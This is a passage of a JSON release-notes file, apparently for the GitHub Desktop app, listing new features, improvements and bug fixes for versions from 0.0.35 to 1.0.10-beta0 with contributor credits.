#3356. Thanks @agisilaos!", "[New] Highlight .m as Objective-C - #3355. Thanks @koenpunt!", "[Improved] Use smarter middle truncation for branch names - #3357", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!" ], "1.0.10-beta0": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta1": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta0": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8-beta0": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7-beta0": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.6": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.5": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!", "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-beta1": [ "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-test1": [], "1.0.5-test0": [], "1.0.5-beta0": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!" ], "1.0.4": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917" ], "1.0.4-beta1": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917 #2917" ], "1.0.4-beta0": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.3": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.2": [ "[Improved] Better message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta1": [ "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta0": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1-beta0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0-beta3": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.1": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "1.0.0-beta2": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.0": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.8.2": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[New] Option to opt-out of confirming discarding changes - #2681", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta1": [ "[New] Option to to opt-out of confirming discarding changes - #2681", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta0": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646" ], "0.8.1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488", "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Ensure the repository list is always accessible - #2648" ], "0.8.1-beta4": [ "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502" ], "0.8.1-beta3": [ "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541" ], "0.8.1-beta2": [ "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520" ], "0.8.1-beta1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488" ], "0.8.1-beta0": [], "0.8.0": [ "[New] Added commit context menu - #2434", "[New] Added 'Open in External Editor' - #2009", "[New] Can choose whether a branch should be deleted on the remote as well as locally - #2136", "[New] Support authenticating with non-GitHub servers - #852", "[New] Added the ability to revert a commit - #752", "[New] Added a keyboard shortcut for opening the repository in the shell - #2138", "[Improved] Copied diff text no longer includes the line changetype markers - #1499", "[Improved] Fetch if a push fails because they need to pull first - #2431", "[Improved] Discard changes performance - #1889", "[Fixed] Show 'Add Repository' dialog when repository is dragged onto the app - #2442", "[Fixed] Dialog component did not remove event handler - #2469", "[Fixed] Open in External Editor context menu - #2475", "[Fixed] Update to Git 2.14.1 to fix security vulnerability - #2432", "[Fixed] Recent branches disappearing after renaming a branch - #2426", "[Fixed] Changing the default branch on GitHub.com is now reflected in the app - #1489", "[Fixed] Swap around some callouts for no repositories - #2447", "[Fixed] Darker unfocused selection color - #1669", "[Fixed] Increase the max sidebar width - #1588", "[Fixed] Don't say \"Publish this branch to GitHub\" for non-GitHub repositories - #1498", "[Fixed] macOS: Protocol schemes not getting registered - #2429", "[Fixed] Patches which contain the \"no newline\" marker would fail to apply - #2123", "[Fixed] Close the autocompletion popover when it loses focus - #2358", "[Fixed] Clear the selected org when switching Publish Repository tabs - #2386", "[Fixed] 'Create Without Pushing' button throwing an exception while opening a pull request - #2368", "[Fixed] Windows: Don't removing the running app out from under itself when there are updates pending - #2373", "[Fixed] Windows: Respect `core.autocrlf` and `core.safeclrf` when modifying the .gitignore - #1535", "[Fixed] Windows: Fix opening the app from the command line - #2396" ], "0.7.3-beta5": [], "0.7.3-beta4": [], "0.7.3-beta3": [], "0.7.3-beta2": [], "0.7.3-beta1": [], "0.7.3-beta0": [], "0.7.2": ["[Fixed] Issues with auto-updating to 0.7.1."], "0.7.2-beta0": [], "0.7.1": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Improved] Version text is now copiable - #1935", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta5": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta4": [], "0.7.1-beta3": [], "0.7.1-beta2": [], "0.7.1-beta1": [], "0.7.1-beta0": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299" ], "0.7.0": [ "[New] Added the Branch > Create Pull Request menu item - #2135", "[New] Added the `github` command line tool - #696", "[Improved] Better error message when publishing a repository fails - #2089", "[Improved] Windows: Don't recreate the desktop shortcut if it's been deleted - #1759", "[Fixed] Cloning a repository's wiki - #1624", "[Fixed] Don't call GitHub Enterprise GitHub.com - #2094", "[Fixed] Don't push after publishing a new repository if the branch is unborn - #2086", "[Fixed] Don't close dialogs when clicking the title bar - #2056", "[Fixed] Windows: Clicking 'Show in Explorer' doesn't bring Explorer to the front - #2127", "[Fixed] Windows: Opening links doesn't bring the browser to the front - #1945", "[Fixed] macOS: Closing the window wouldn't exit fullscreen - #1901", "[Fixed] Scale blankslate images so they look nicer on high resolution displays - #1946", "[Fixed] Windows: Installer not completing or getting stuck in a loop - #1875 #1863", "[Fixed] Move the 'Forgot Password' link to fix the tab order of the sign in view - #2200" ], "0.6.3-beta7": [], "0.6.3-beta6": [], "0.6.3-beta5": [], "0.6.3-beta4": [], "0.6.3-beta3": [], "0.6.3-beta2": [], "0.6.3-beta1": [], "0.6.3-beta0": [], "0.6.2": [ "[New] Link to User Guides from the Help menu - #1963", "[New] Added the 'Open in External Editor' contextual menu item to changed files - #2023", "[New] Added the 'Show' and 'Open Command Prompt' contextual menu items to repositories - #1554", "[New] Windows: Support self-signed or untrusted certificates - #671", "[New] Copy the SHA to the clipboard when clicked - #1501", "[Improved] Provide the option of initializing a new repository when adding a directory that isn't already one - #969", "[Improved] Link to the working directory when there are no changes - #1871", "[Improved] Hitting Enter when selecting a base branch creates the new branch - #1780", "[Improved] Prefix repository names with their owner if they are ambiguous - #1848", "[Fixed] Sort and filter licenses like GitHub.com - #1987", "[Fixed] Long branch names not getting truncated in the Rename Branch dialog - #1891", "[Fixed] Prune old log files - #1540", "[Fixed] Ensure the local path is valid before trying to create a new repository - #1487", "[Fixed] Support cloning repository wikis - #1624", "[Fixed] Disable the Select All checkbox when there are no changes - #1389", "[Fixed] Changed docx files wouldn't show anything in the diff panel - #1990", "[Fixed] Disable the Merge button when there are no commits to merge - #1359", "[Fixed] Username/password authentication not working for GitHub Enterprise - #2064", "[Fixed] Better error messages when an API call fails - #2017", "[Fixed] Create the 'logs' directory if it doesn't exist - #1550", "[Fixed] Enable the 'Remove' menu item for missing repositories - #1776" ], "0.6.1": [ "[Fixed] Properly log stats opt in/out - #1949", "[Fixed] Source maps for exceptions in the main process - #1957", "[Fixed] Styling of the exception dialog - #1956", "[Fixed] Handle ambiguous references - #1947", "[Fixed] Handle non-ASCII text in diffs - #1970", "[Fixed] Uncaught exception when hitting the arrow keys after showing autocompletions - #1971", "[Fixed] Clear the organizations list when publishing a new repository and switching between tabs - #1969", "[Fixed] Push properly when a tracking branch has a different name from the local branch - #1967", "[Improved] Warn when line endings will change - #1906" ], "0.6.0": [ "[Fixed] Issue autocompletion not working for older issues - #1814", "[Fixed] GitHub repository association not working for repositories with some remote URL formats - #1826 #1679", "[Fixed] Don't try to delete a remote branch that no longer exists - #1829", "[Fixed] Tokens created by development builds would be used in production builds but wouldn't work - #1727", "[Fixed] Submodules can now be added - #708", "[Fixed] Properly handle the case where a file is added to the index but removed from the working tree - #1310", "[Fixed] Use a local image for the default avatar - #1621", "[Fixed] Make the file path in diffs selectable - #1768", "[Improved] More logging! - #1823", "[Improved] Better error message when trying to add something that's not a repository - #1747", "[Improved] Copy the shell environment into the app's environment - #1796", "[Improved] Updated to Git 2.13.0 - #1897", "[Improved] Add 'Reveal' to the contextual menu for changed files - #1566", "[Improved] Better handling of large diffs - #1818 #1524", "[Improved] App launch time - #1900" ], "0.5.9": [ "[New] Added Zoom In and Zoom Out - #1217", "[Fixed] Various errors when on an unborn branch - #1450", "[Fixed] Disable push/pull menu items when there is no remote - #1448", "[Fixed] Better error message when the GitHub Enterprise version is too old - #1628", "[Fixed] Error parsing non-JSON responses - #1505 #1522", "[Fixed] Updated the 'Install Git' help documentation link - #1797", "[Fixed] Disable menu items while in the Welcome flow - #1529", "[Fixed] Windows: Fall back to HOME if Document cannot be found - #1825", "[Improved] Close the window when an exception occurs - #1562", "[Improved] Always use merge when pulling - #1627", "[Improved] Move the 'New Branch' menu item into the Branch menu - #1757", "[Improved] Remove Repository's default button is now Cancel - #1751", "[Improved] Only fetch the default remote - #1435", "[Improved] Faster commits with many files - #1405", "[Improved] Measure startup time more reliably - #1798", "[Improved] Prefer the GitHub repository name instead of the name on disk - #664" ], "0.5.8": [ "[Fixed] Switching tabs in Preferences/Settings or Repository Settings would close the dialog - #1724", "[Improved] Standardized colors which improves contrast and readability - #1713" ], "0.5.7": [ "[Fixed] Windows: Handle protocol events which launch the app - #1582", "[Fixed] Opting out of stats reporting in the Welcome flow - #1698", "[Fixed] Commit description text being too light - #1695", "[Fixed] Exception on startup if the app was activated too quickly - #1564", "[Improved] Default directory for cloning now - #1663", "[Improved] Accessibility support - #1289", "[Improved] Lovely blank slate illustrations - #1708" ], "0.5.6": [ "[Fixed] macOS: The buttons in the Untrusted Server dialog not doing anything - #1622", "[Fixed] Better warning in Rename Branch when the branch will be created with a different name than was entered - #1480", "[Fixed] Provide a tooltip for commit summaries in the History list - #1483", "[Fixed] Prevent the Update Available banner from getting squished - #1632", "[Fixed] Title bar not responding to double-clicks - #1590 #1655", "[Improved] Discard All Changes is now accessible by right-clicking the file column header - #1635" ], "0.5.5": [ "[Fixed] Save the default path after creating a new repository - #1486", "[Fixed] Only let the user launch the browser once for the OAuth flow - #1427", "[Fixed] Don't linkify invalid URLs - #1456", "[Fixed] Excessive padding in the Merge Branch dialog - #1577", "[Fixed] Octicon pixel alignment issues - #1584", "[Fixed] Windows: Invoking some menu items would break the window's snapped state - #1603", "[Fixed] macOS: Errors authenticating while pushing - #1514", "[Fixed] Don't linkify links in the History list or in Undo - #1548 #1608 #1474", "[Fixed] Diffs not working when certain git config values were set - #1559" ], "0.5.4": [ "[Fixed] The release notes URL pointed to the wrong page - #1503", "[Fixed] Only create the `logs` directory if it doesn't already exist - #1510", "[Fixed] Uncaught exception creating a new repository if you aren't a member of any orgs - #1507", "[Fixed] Only report the first uncaught exception - #1517", "[Fixed] Include the name of the default branch in the New Branch dialog - #1449", "[Fixed] Uncaught exception if a network error occurred while loading user email addresses - #1522 #1508", "[Fixed] Uncaught exception while performing a contextual menu action - #1532", "[Improved] Move all error logging to the main process - #1473", "[Improved] Stats reporting reliability - #1561" ], "0.5.3": [ "[Fixed] Display of large image diffs - #1494", "[Fixed] Discard Changes spacing - #1495" ], "0.5.2": [ "[Fixed] Display errors that happen while publishing a repository - #1396", "[Fixed] Menu items not updating - #1462", "[Fixed] Always select the first changed file - #1306", "[Fixed] macOS: Use Title Case consistently - #1477 #1481", "[Fixed] Create Branch padding - #1479", "[Fixed] Bottom padding in commit descriptions - #1345", "[Improved] Dialog polish - #1451", "[Improved] Store logs in a logs directory - #1370", "[Improved] New Welcome illustrations - #1471", "[Improved] Request confirmation before removing a repository - #1233", "[Improved] Windows icon polish - #1457" ], "0.5.1": [ "[New] Windows: A nice little gif while installing the app - #1440", "[Fixed] Disable pinch zoom - #1431", "[Fixed] Don't show carriage return indicators in diffs - #1444", "[Fixed] History wouldn't update after switching branches - #1446", "[Improved] Include more information in exception reports - #1429", "[Improved] Updated Terms and Conditions - #1438", "[Improved] Sub-pixel anti-aliasing in some lists - #1452", "[Improved] Windows: A new application identifier, less likely to collide with other apps - #1441" ], "0.5.0": [ "[Added] Menu item for showing the app logs - #1349", "[Fixed] Don't let the two-factor authentication dialog be submitted while it's empty - #1386", "[Fixed] Undo Commit showing the wrong commit - #1373", "[Fixed] Windows: Update the icon used for the installer - #1410", "[Fixed] Undoing the first commit - #1401", "[Fixed] A second window would be opened during the OAuth dance - #1382", "[Fixed] Don't include the comment from the default merge commit message - #1367", "[Fixed] Show progress while committing - #923", "[Fixed] Windows: Merge Branch sizing would be wrong on high DPI monitors - #1210", "[Fixed] Windows: Resize the app from the top left corner - #1424", "[Fixed] Changing the destination path for cloning a repository now appends the repository's name - #1408", "[Fixed] The blank slate view could be visible briefly when the app launched - #1398", "[Improved] Performance updating menu items - #1321", "[Improved] Windows: Dim the title bar when the app loses focus - #1189" ], "0.0.39": ["[Fixed] An uncaught exception when adding a user - #1394"], "0.0.38": [ "[New] Shiny new icon! - #1221", "[New] More helpful blank slate view - #871", "[Fixed] Don't allow Undo while pushing/pulling/fetching - #1047", "[Fixed] Updating the default branch on GitHub wouldn't be reflected in the app - #1028 #1314", "[Fixed] Long repository names would overflow their container - #1331", "[Fixed] Removed development menu items in production builds - #1031 #1251 #1323 #1340", "[Fixed] Create Branch no longer changes as it's animating closed - #1304", "[Fixed] Windows: Cut / Copy / Paste menu items not working - #1379", "[Improved] Show a better error message when the user tries to authenticate with a personal access token - #1313", "[Improved] Link to the repository New Issue page from the Help menu - #1349", "[Improved] Clone in Desktop opens the Clone dialog - #918" ], "0.0.37": [ "[Fixed] Better display of the 'no newline at end of file' indicator - #1253", "[Fixed] macOS: Destructive dialogs now use the expected button order - #1315", "[Fixed] Display of submodule paths - #785", "[Fixed] Incomplete stats submission - #1337", "[Improved] Redesigned welcome flow - #1254", "[Improved] App launch time - #1225", "[Improved] Handle uncaught exceptions - #1106" ], "0.0.36": [ "[Fixed] Bugs around associating an email address with a GitHub user - #975", "[Fixed] Use the correct reference name for an unborn branch - #1283", "[Fixed] Better diffs for renamed files - #980", "[Fixed] Typo in Create Branch - #1303", "[Fixed] Don't allow whitespace-only branch names - #1288", "[Improved] Focus ring polish - #1287", "[Improved] Less intrusive update notifications - #1136", "[Improved] Faster launch time on Windows - #1309", "[Improved] Faster git information refreshing - #1305", "[Improved] More consistent use of sentence case on Windows - #1316", "[Improved] Autocomplete polish - #1241" ], "0.0.35": [ "[New] Show push/pull/fetch progress - #1238", "[Fixed] macOS: Add the Zoom menu item - #1260", "[Fixed] macOS: Don't show the titlebar while full screened - #1247", "[Fixed] Windows: Updates would make the app unresponsive - #1269", "[Fixed] Windows: Keyboard navigation in menus - #1293", "[Fixed] Windows: Repositories list item not working - #1293", "[Fixed] Auto updater errors not being propagated properly - #1266", "[Fixed] Only show the current branch tooltip on the branches button - #1275", "[Fixed] Double path truncation - 